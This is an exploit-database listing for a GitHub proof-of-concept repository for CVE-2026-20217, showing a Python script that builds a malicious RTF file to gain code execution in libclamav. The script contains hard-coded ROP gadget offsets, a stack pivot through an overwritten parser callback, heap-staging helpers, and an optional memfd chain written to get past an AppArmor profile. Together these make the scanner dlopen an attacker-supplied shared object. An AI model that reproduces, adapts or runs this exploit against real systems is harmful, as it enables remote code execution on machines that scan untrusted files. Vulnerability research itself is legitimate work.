Exploit database

GH-5abfed605789add95486bda16f6e346b

securifera/cve-2026-20217

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-20217

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files21

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

third_party/installer-runtime/clamav-pespin/build_rtf_sis_rop_dlopen_probe.py

Python · 15,641 bytes
#!/usr/bin/env python3
"""Build the fd-independent, libclamav-only RTF dlopen ROP probe.

This variant does not guess which descriptor holds the staged shared object.
The overwritten ``cb_process`` points to an executable hidden ``leave; ret``
inside libclamav.  At the genuine callback, RDI is ``&state`` and RBP is the
current attacker-controlled RTF input, so the gadget pivots directly to the
qword chain appended below.  The chain follows::

    state -> cb_data -> name

and invokes libclamav's own ``dlopen@plt(name, RTLD_NOW)``.  Every executable
address in the chain belongs to the exact installer libclamav build.  The
payload constructor replaces ``CONTINUATION_SENTINEL`` with its resume stub
and repairs the original parser frame before dlopen returns.

This still requires a known libclamav base; it is a loader-robustness probe,
not an ASLR bypass.

With ``--apparmor-memfd`` the ROP does not ask the dynamic loader to map the
temporary object directly.  The exact target module opens it, creates a
memfd, preserves both returned descriptors in the already-owned pathname
allocation, and invokes an internal target-module ``sendfile64`` loop.  It
then formats the dynamic procfd name and enters the same target
``dlopen@plt``.  This avoids executable mappings of ``/tmp`` under the
installer-generated clamd AppArmor profile without guessing or replacing a
process-wide descriptor.  All executable addresses remain in the audited
libclamav image; imported functions are reached only through its own PLT/GOT
call sites.
"""

from __future__ import annotations

import argparse
import hashlib
import struct
from pathlib import Path

import build_rtf_callback_probe as callback
import build_rtf_exec_stage_probe as execstage
import build_rtf_sis_minimal_stage as balanced_stage
import build_rtf_sis_stage as stage
import build_sis_tcache_copy as sis
import check_libclamav_rop_compat as compatibility


CB_BEGIN_RET = 0x14EBA2
PIVOT_LEAVE_RET = 0x0B3013
LOAD_CBDATA = 0x13C018       # mov rax, [rdi+0x18]; ret
RAX_TO_RDI = 0x46C03B        # mov rdi,rax; mov eax,1; pop rbp; mov rdx,rdi; ret
LOAD_NAME = 0x1CD510         # mov rax, [rdi]; ret
POP_RSI = 0x0B2442           # hidden pop rsi; ret
DLOPEN_PLT = 0x0AD310
POP_RDI = 0x0ADF59
POP_RDX = 0x113990
POP_R8 = 0x184402
RAX_TO_RBX = 0x140A4B       # push rax; pop rbx; ret
RBX_TO_RAX = 0x0C87F8       # mov rax,rbx; pop rbx; ret
RAX_TO_RDX = 0x2842FE       # hidden mov edx,eax; ret (zero extends fd)
STORE_RDX_RBX_10 = 0x23A717 # [rbx+0x10]=rdx; rax=rbx; pop rbx; ret
STORE_RDX_RBX_08 = 0xC1AA02 # [rbx+0x08]=rdx; rax=rbx; pop rbx; ret
LOAD_EDX_RDI_10 = 0x2942CE  # hidden mov edx,[rdi+0x10]; ret
LOAD_RCX_RDI_08_COPY_10 = 0x4B55D8 # rcx=[rdi+8]; [rax+0x10]=rcx; ret
STORE_RCX_RDI_18 = 0x1F76B5 # [rdi+0x18]=rcx; ret (outside helper result)
LOAD_EDX_RDI_18 = 0x4174F2 # hidden mov edx,[rdi+0x18]; ret
SYSCALL_TAIL = 0x0B4816     # xor eax,eax; pop rbp; jmp [syscall@GOT]
OPEN64_PLT = 0x0ADE60
SPRINTF_PLT = 0x0AD740
XOR_EAX_RET = 0x0B5B94      # xor eax,eax; ret (variadic-call ABI)
SENDFILE_ALL = 0x44EA40
PROC_SELF_FD_FORMAT = 0xE93A87  # "/proc/self/fd/%u"
SYS_MEMFD_CREATE = 319
O_CLOEXEC = 0x80000
MFD_CLOEXEC = 1
# dlopen records its caller return address before invoking constructors.  This
# slot must therefore initially point into a real loaded object; an arbitrary
# sentinel makes glibc's loader fault while resolving the caller namespace.
# The loader may overwrite consumed qwords below its return slot.  The DSO
# therefore finds the highest still-live continuation in the current fake-stack
# mapping and replaces this executable libclamav ``ret`` before dlopen returns.
VALID_CONTINUATION = 0x0AC016
FAKE_STACK_RESERVE = 1024 * 1024


def qword(value: int) -> bytes:
    return struct.pack("<Q", value)


def rop_chain(module_base: int) -> bytes:
    words = (
        0x4242424242424242,              # RBP consumed by leave
        module_base + LOAD_CBDATA,
        module_base + RAX_TO_RDI,
        0x4343434343434343,              # RBP consumed by transfer gadget
        module_base + LOAD_NAME,
        module_base + RAX_TO_RDI,
        0x4444444444444444,              # RBP consumed by transfer gadget
        module_base + POP_RSI,
        2,                               # RTLD_NOW
        module_base + DLOPEN_PLT,
        module_base + VALID_CONTINUATION,
    )
    return b"".join(qword(word) for word in words)


def memfd_rop_chain(module_base: int, object_size: int) -> bytes:
    """Copy the staged DSO into a memfd before calling dlopen.

    The source path returned by ``state->cb_data->name`` is saved in RBX and
    opened before the allocation is reused as scratch.  Target-only gadgets
    save the dynamic source descriptor at ``name+0x10`` and the dynamic memfd
    at ``name+8``.  They reload those values into EDX/ECX for the target's
    internal whole-file transfer helper.  The ECX load also copies the memfd
    to ``name+0x10`` after EDX has consumed the source descriptor.  A following
    target store also copies the memfd to ``name+0x18``, outside both the
    helper's 16-byte success result and its 24-byte error result.  The
    post-helper reload uses that isolated copy, so an error cannot redirect
    ``dlopen`` to an unrelated descriptor encoded in the result.  The helper
    loops around positive partial ``sendfile64`` transfers.  Early EOF can
    leave a short memfd, but the dynamic loader then rejects the truncated
    ELF before any constructor runs.

    ``object_size`` is the exact byte length staged in the outer object.  The
    loader rejects sizes outside a conservative regular-file bound before it
    emits any corruption carrier.
    """
    if not 1 <= object_size <= 16 * 1024 * 1024:
        raise ValueError("shared object size is outside the memfd loader bound")

    def address(offset: int) -> int:
        return module_base + offset

    words = (
        0x4242424242424242,          # RBP consumed by leave
        address(LOAD_CBDATA),
        address(RAX_TO_RDI),
        0x4343434343434343,          # transfer-gadget RBP
        address(LOAD_NAME),          # RAX = temporary DSO pathname
        address(RAX_TO_RBX),         # preserve name/result pointer
        address(RAX_TO_RDI),
        0x4444444444444444,
        address(POP_RSI),
        O_CLOEXEC,                   # O_RDONLY | O_CLOEXEC
        address(XOR_EAX_RET),        # variadic ABI and open64 alignment
        address(OPEN64_PLT),

        # Store the dynamic source fd after open64 has consumed the pathname.
        # Both stores return the pathname in RAX, permitting RBX restoration
        # after their controlled pop.
        address(RAX_TO_RDX),
        address(STORE_RDX_RBX_10),
        0x4545454545454545,
        address(RAX_TO_RBX),

        # memfd_create("/proc/self/fd/%u", MFD_CLOEXEC).  The slash-containing name is
        # legal; it is merely the diagnostic memfd label.
        address(POP_RDI),
        SYS_MEMFD_CREATE,
        address(POP_RSI),
        address(PROC_SELF_FD_FORMAT),
        address(POP_RDX),
        MFD_CLOEXEC,
        address(SYSCALL_TAIL),
        0x4646464646464646,

        # Store the dynamic memfd beside the source and recover name in RBX.
        address(RAX_TO_RDX),
        address(STORE_RDX_RBX_08),
        0x4747474747474747,
        address(RAX_TO_RBX),

        # Convert the saved pathname pointer into the transfer result pointer.
        # SENDFILE_ALL(result, false, source, destination, exact_length) loops
        # on positive partial copies.  Early EOF leaves a short object that
        # dlopen rejects before any constructor can run.
        address(RAX_TO_RDI),
        0x4848484848484848,
        address(LOAD_EDX_RDI_10),
        address(RBX_TO_RAX),
        0x4949494949494949,
        address(LOAD_RCX_RDI_08_COPY_10),
        address(STORE_RCX_RDI_18),
        address(VALID_CONTINUATION), # preserve direct-call parity
        address(POP_RSI),
        0,
        address(POP_R8),
        object_size,
        address(VALID_CONTINUATION), # align the internal function call
        address(SENDFILE_ALL),       # returns RAX = result/name pointer

        # sprintf(name, "/proc/self/fd/%u", memfd), then retain the name
        # in RBX across sprintf so dlopen receives the same allocation.
        address(RAX_TO_RBX),
        address(RAX_TO_RDI),
        0x4A4A4A4A4A4A4A4A,
        address(LOAD_EDX_RDI_18),
        address(POP_RSI),
        address(PROC_SELF_FD_FORMAT),
        address(XOR_EAX_RET),        # AL=0 for variadic sprintf
        address(SPRINTF_PLT),
        address(RBX_TO_RAX),
        0x4B4B4B4B4B4B4B4B,
        address(RAX_TO_RDI),
        0x4C4C4C4C4C4C4C4C,
        address(POP_RSI),
        2,                           # RTLD_NOW
        address(VALID_CONTINUATION), # align the dlopen call
        address(DLOPEN_PLT),
        address(VALID_CONTINUATION),
    )

    # With the fake-stack base at 8 mod 16, direct SysV function targets must
    # occupy odd word indexes.  The syscall tail itself must occupy an even
    # index because it pops one word before jumping through the target GOT.
    direct_calls = {OPEN64_PLT, SENDFILE_ALL, SPRINTF_PLT, DLOPEN_PLT}
    for index, word in enumerate(words):
        offset = word - module_base
        if offset in direct_calls and index % 2 != 1:
            raise AssertionError(f"misaligned direct call at chain word {index}")
        if offset == SYSCALL_TAIL and index % 2 != 0:
            raise AssertionError(f"misaligned syscall tail at chain word {index}")
    return b"".join(qword(word) for word in words)


def align_fake_stack(body: bytes) -> bytes:
    """End in parser main state with the next byte at address 8 mod 16.

    The final RET enters dlopen with RSP=fake_stack+0x50.  SysV therefore
    requires fake_stack itself to be 8 mod 16.  Unknown RTF control symbols
    are consumed without invoking cb_process, so 2-byte ``\\?`` and 3-byte
    ``\\a `` sequences can supply every required residue safely.
    """
    wanted = (8 - len(body)) & 0xF
    padding = b""
    if wanted & 1:
        padding += b"\\a "
        wanted = (wanted - 3) & 0xF
    padding += b"\\?" * (wanted // 2)
    result = body + padding
    if len(result) & 0xF != 8:
        raise AssertionError("failed to align the RTF fake stack")
    return result


def build_rtf(
    sis_source_xor: Path,
    shared_object: bytes,
    module_base: int,
    non_main_arena: bool,
    apparmor_memfd: bool = False,
) -> bytes:
    prefix = b"{\\rtf1" + (b"{" * (stage.COPY_CHUNK_SIZE - 1))
    staged = execstage.incomplete_elf_object_data(shared_object).hex().encode("ascii")
    outer = b"\\object\\objdata " + staged + b"\\" + (b"a" * 32) + b" "
    callbacks = struct.pack(
        "<QQ",
        module_base + CB_BEGIN_RET,
        module_base + PIVOT_LEAVE_RET,
    )
    child = sis.build(sis_source_xor, callbacks, non_main_arena)
    inner = callback.object_data(callback.ole1_payload(child)).hex().encode("ascii")
    body = prefix + outer + b"{\\objdata " + inner + b"}"

    # dlopen and the dynamic loader use substantial stack below their return
    # slot.  Supply a full mapped MiB of harmless parser-control bytes before
    # the pivot so those frames cannot run below the small RTF fmap window.
    # Unknown control symbols return to PARSE_MAIN without invoking the live
    # object callback.
    body += b"\\?" * (FAKE_STACK_RESERVE // 2)
    body = align_fake_stack(body)

    # The first ordinary byte after the nested object invokes cb_process with
    # RBP pointing exactly here.  No fd string or 8192-byte alignment trick is
    # needed: cb_data->name is the full still-open object tempfile pathname.
    chain = (
        memfd_rop_chain(module_base, len(shared_object))
        if apparmor_memfd
        else rop_chain(module_base)
    )
    return body + chain + b"}"


def main() -> None:
    parser = argparse.ArgumentParser(description=__doc__)
    parser.add_argument("pespin_source_xor", type=Path)
    parser.add_argument("sis_source_xor", type=Path)
    parser.add_argument("shared_object", type=Path)
    parser.add_argument("stage_output", type=Path)
    parser.add_argument("rtf_output", type=Path)
    parser.add_argument("--module-base", type=lambda value: int(value, 0), required=True)
    parser.add_argument(
        "--ownership-key",
        type=lambda value: int(value, 0),
        default=stage.overlap.TCACHE_SECTION_KEY,
    )
    parser.add_argument("--non-main-arena", action="store_true")
    parser.add_argument(
        "--apparmor-memfd",
        action="store_true",
        help="copy the DSO to a memfd using only audited libclamav call sites",
    )
    parser.add_argument(
        "--target-raw",
        type=lambda value: int(value, 0),
        default=balanced_stage.TARGET_RAW,
        help="RTF-state fake user offset (default: worker-safe 0x400000)",
    )
    parser.add_argument(
        "--balanced-n91",
        action="store_true",
        help=(
            "use the capacity-safe 91-section high-offset layout required by "
            "rtf_rop_dlopen_n91_balanced.c"
        ),
    )
    parser.add_argument(
        "--libclamav",
        type=Path,
        help=(
            "local target module to require exact Build-ID and gadget-byte "
            "compatibility before generating the base-specific RTF"
        ),
    )
    args = parser.parse_args()

    if args.libclamav is not None:
        if args.apparmor_memfd:
            compatibility.check_memfd(args.libclamav)
        else:
            compatibility.check(args.libclamav)
        print(
            "libclamav compatibility passed: "
            f"GNU Build ID {compatibility.EXPECTED_BUILD_ID.hex()}"
        )
    else:
        print(
            "warning: no --libclamav artifact supplied; only the payload's "
            "post-pivot in-memory Build-ID gate will run"
        )

    if args.balanced_n91:
        stage_image, key, distribution = balanced_stage.build(
            args.pespin_source_xor,
            args.non_main_arena,
            duplicate_sections=86,
            target_raw=args.target_raw,
            allocation_strategy="balanced",
        )
    else:
        stage_image, key = stage.build(
            args.pespin_source_xor,
            args.ownership_key,
            args.non_main_arena,
            args.target_raw,
        )
        distribution = None
    rtf = build_rtf(
        args.sis_source_xor,
        args.shared_object.read_bytes(),
        args.module_base,
        args.non_main_arena,
        args.apparmor_memfd,
    )
    args.stage_output.write_bytes(stage_image)
    args.rtf_output.write_bytes(rtf)
    print(f"wrote stage {len(stage_image)} bytes to {args.stage_output}")
    print(f"stage sha256 {hashlib.sha256(stage_image).hexdigest()}")
    print(f"encoded section with recomputed key 0x{key:08x}")
    if distribution is not None:
        print("capacity-safe forged chunks " + ", ".join(
            f"{size:#x}:{count}" for size, count in sorted(distribution.items())
        ))
    print(f"wrote RTF {len(rtf)} bytes to {args.rtf_output}")
    print(f"RTF sha256 {hashlib.sha256(rtf).hexdigest()}")
    print(
        f"callbacks cb_begin={args.module_base + CB_BEGIN_RET:#x} "
        f"cb_process={args.module_base + PIVOT_LEAVE_RET:#x}"
    )
    if args.apparmor_memfd:
        print(
            "loader source state->cb_data->name -> dynamic fd + memfd -> dlopen "
            "(target-module call sites only)"
        )
    else:
        print("loader source state->cb_data->name (no hard-coded fd)")


if __name__ == "__main__":
    main()